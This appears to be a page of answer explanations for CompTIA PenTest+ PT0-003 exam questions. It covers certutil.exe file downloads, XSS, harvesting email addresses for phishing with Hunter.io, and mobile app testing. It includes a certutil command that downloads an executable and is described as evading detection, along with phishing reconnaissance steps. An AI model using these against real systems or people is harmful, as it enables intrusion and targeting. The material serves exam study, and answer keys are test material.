CompTIA Updated PT0-003 Exam Questions and Answers by gigi

Certutil.exe for File Downloads:

certutil.exe is a native Windows utility primarily used for managing certificates but can also be leveraged to download files from the internet.

Example command:

bash

Copy code

certutil.exe -urlcache -split -f http://example.com/file.exe file.exe

Its native status helps it evade detection by security tools.

Why Not Other Options?

A (netsh.exe): Used for network configuration but not for downloading files.

C (nc.exe): Netcat is not native to Windows and would need to be introduced to the system.

D (cmdkey.exe): Used for managing stored credentials, not downloading files.

CompTIA Pentest+ References:

Domain 3.0 (Attacks and Exploits)

Cross-Site Scripting (XSS) is an attack that involves injecting malicious scripts into web pages viewed by other users. Here’s why option C is correct:

XSS (Cross-Site Scripting): This attack involves injecting JavaScript into a web application, which is then executed by the user’s browser. The scenario describes injecting a JavaScript prompt, which is a typical XSS payload.

SQL Injection: This involves injecting SQL commands to manipulate the database and does not relate to JavaScript injection.

SSRF (Server-Side Request Forgery): This attack tricks the server into making requests to unintended locations, which is not related to client-side JavaScript execution.

Server-Side Template Injection: This involves injecting code into server-side templates, not JavaScript that executes in the user’s browser.

References from Pentest:

Horizontall HTB: Demonstrates identifying and exploiting XSS vulnerabilities in web applications​​.

Luke HTB: Highlights the process of testing for XSS by injecting scripts and observing their execution in the browser​​.

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Comprehensive and Detailed Explanation:

After obtaining employee names, the immediate next step for a phishing campaign is often to discover their email addresses. Hunter.io is a service that helps find and verify email addresses for people at a domain (pattern discovery + verification). Using Hunter.io (or similar tools) lets the tester build an accurate recipient list before crafting phishing content or campaigns.

Why not the others as the first step:

A (Wayback Machine): Useful for finding historical content or pages but not directly for harvesting current email addresses.

C (SpiderFoot): Powerful OSINT aggregation tool, could be used but is heavier and often used after initial enumeration.

D (Social Engineering Toolkit): Used to craft/send phishing payloads once targets (email addresses) are gathered — not the first data-gathering tool.

PT0-003 mapping: Domain 2/3 — OSINT and social-engineering reconnaissance.

When performing a security assessment on a mobile application, especially one concerned with information disclosure, it is crucial to follow a structured approach to identify vulnerabilities comprehensively. Here’s why option B is correct:

Mobile Application Security Framework: This framework provides a structured methodology for assessing the security of mobile applications. It includes various tests such as static analysis, dynamic analysis, and reverse engineering, which are essential for identifying vulnerabilities related to information disclosure.

Initial Steps: Running the application through a security framework allows the tester to identify a broad range of potential issues systematically. This initial step ensures that all aspects of the application's security are covered before delving into more specific tools like Drozer or Frida.

References from Pentest:

Writeup HTB: Demonstrates the use of structured methodologies to ensure comprehensive coverage of security assessments​​.

Horizontall HTB: Emphasizes the importance of following a structured approach to identify and address security issues​​.

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